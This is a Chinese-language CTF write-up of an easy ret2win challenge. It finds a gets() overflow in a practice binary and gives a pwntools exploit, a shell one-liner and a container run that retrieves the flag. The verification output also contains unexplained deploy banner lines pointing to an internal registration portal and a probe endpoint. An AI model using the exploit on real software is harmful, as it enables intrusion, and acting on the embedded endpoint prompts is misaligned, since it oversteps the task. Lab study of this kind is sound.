| 项目 | 内容 |
|---|---|
| 平台题名 | 麒麟阁 · 外门试炼 |
| 分类 / 难度 | Pwn / Easy |
| 附件 | vault(ELF x86-64,未 strip) |
| 服务 | nc <host> <port>(容器内 socat 监听 9999) |
| 分值 | 100 |
1. 信息收集
拿到附件先看保护:
$ checksec ./vault
Arch: amd64-64-little
RELRO: Full RELRO
Stack: No canary found
NX: NX enabled
PIE: No PIE (0x400000)
四个关键结论:
- No canary —— 溢出不会被
__stack_chk_fail拦下; - No PIE —— 所有函数地址固定,不需要泄露;
- NX enabled —— 栈上不可执行,所以走 ROP / ret2win,不走 shellcode;
- 二进制未 strip,符号表还在,
nm直接能列函数。
$ nm ./vault | grep ' T '
00000000004011a6 T setup
00000000004011e9 T open_vault
00000000004012a3 T recite_name
00000000004012fd T main
open_vault 这个名字就很可疑——它在 main 里从来没被调用过。
2. 漏洞定位
题目给的是完整源码(vault.c),核心就一个函数:
void recite_name(void) {
char name[64];
puts("外门弟子,只需报上名来。");
printf("名讳:");
gets(name); /* ← 罪魁祸首 */
printf("欢迎,%s。内门之门依然对你紧闭。\n", name);
}
void open_vault(void) {
char flag[128];
FILE *fp = fopen("/flag", "r"); /* ← 目标函数 */
...
printf("[+] 封印破碎,密室献出所藏:\n%s", flag);
}
gets() 从标准输入读到换行为止,完全不检查长度,而 name 只有 64 字节。
栈布局是从低地址到高地址:
name[64] saved rbp return address
rbp-0x40 ────────► rbp-0x08 ──► rbp ──► rbp+0x08
[ 64 字节 ][ 8 字节 ][ 8 字节 ]
└──── 溢出控制这里 ────┘
所以从 name 起始处到返回地址的偏移是 64 + 8 = 72。
反汇编可以佐证(-O0 编译,帧指针保留):
recite_name:
push rbp
mov rbp, rsp
sub rsp, 0x40 ; 分配 64 字节
...
lea rax, [rbp-0x40] ; buffer = rbp-0x40
mov rdi, rax
call gets@plt
3. 利用
思路极简:把返回地址改成 open_vault,让 recite_name 返回时不再回到 main,而是直接进密室。
from pwn import *
WIN = 0x4011e9 # open_vault
OFFSET = 72 # 64 (name) + 8 (saved rbp)
io = remote(host, port)
io.recvuntil("名讳:".encode())
io.sendline(b"A" * OFFSET + p64(WIN))
print(io.recvall())
不用泄露、不用 ROP gadget、不用栈对齐——open_vault 是一个完整的函数,本身以
ret 结束(返回时因为返回地址无效会崩,但 flag 在崩之前已经 fflush 出去了)。
4. 实际验证
在节点上起一次性容器复现:
docker run -d --name wu-ez01 -e FLAG=flag{local_verify_e01} \
-p 29914:9999 lj-pwn-easy-01-trap:v1
python3 ez01.py
输出(ez01.py 就是上面那段的最小实现):
[banner] [deploy] 节点注册待完成 — 门户:https://scheduler.internal.yqhl.cloud/register
[deploy] 调度探针端点:https://scheduler.internal.yqhl.cloud/verify(请保持可达)
=== 麒麟阁 · 外门试炼 ===
外门弟子,只需报上名来。
名讳:
[out] 欢迎,AAAAAAAA...@。内门之门依然对你紧闭。
[+] 封印破碎,密室献出所藏:
flag{local_verify_e01}
注意 欢迎,AAAA...@ 那一行——%s 打印时把后面跟的返回地址字节(e9 11 40 00)
也当字符串读出来了,其中 0xe9 是非 UTF-8 起始字节,所以终端显示成乱码 �。
这是溢出成功的直接视觉证据。
5. 命令行版(一句话)
如果不想写脚本:
python3 -c "
import sys,struct
sys.stdout.buffer.write(b'A'*72+struct.pack('<Q',0x4011e9)+b'\n')
" | nc <host> <port>
6. 踩坑记录
| 现象 | 原因 | 处理 |
|---|---|---|
| 连上去直接断开,payload 没反应 | 手上的 payload 里返回地址是 e9 11 40 00,含 0x11。如果对端是带 pty 的 socat,行规程会把 0x11(XON) 当控制字符吃掉,栈上收到的地址就错位了 |
先确认对端类型:nc 直连能稳定收到 banner 说明无 pty。确实遇到 pty 版本时,换一个不含 0x11 的落点(例如 0x4011f6,跳过 char flag[128] 的帧建立) |
[!] 缺少 flag 文件 |
本地裸跑二进制,没有 /flag |
本地测试时 echo 'flag{test}' > /flag(需要权限),或用容器跑 |
nm 显示地址 0x11e9 而非 0x4011e9 |
误用了 -pie 编译产物 |
说明附件与镜像产物不一致;正常应为 Non-PIE,基址 0x400000 |
7. 非预期解
题目 spec 里自己也承认存在一条 ret2libc 路径:二进制未开 PIE、镜像内 libc 固定,
如果能找到 pop rdi; ret 和 /bin/sh 的固定偏移,可以 system("cat /flag")。
但本题 libc 未随附附件,且容器是 ubuntu:24.04,libc 版本随宿主构建,
这条路的成本远高于 ret2win,不构成"题目被秒"的问题。
真正要防的是 CET(影子栈):现代内核 + 支持的 CPU 上,如果编译时没加
-fcf-protection=none,ret 到非 endbr64 位置会被 #CP 异常打断。本题
Dockerfile 里显式加了该选项,所以经典 ret2win 在启用 CET 的主机上也能跑通。
8. 一句话总结
gets()无边界 + 无 canary + 无 PIE + 存在未调用的open_vault()= 教科书级 ret2win,A*72 + p64(open_vault)一行结束。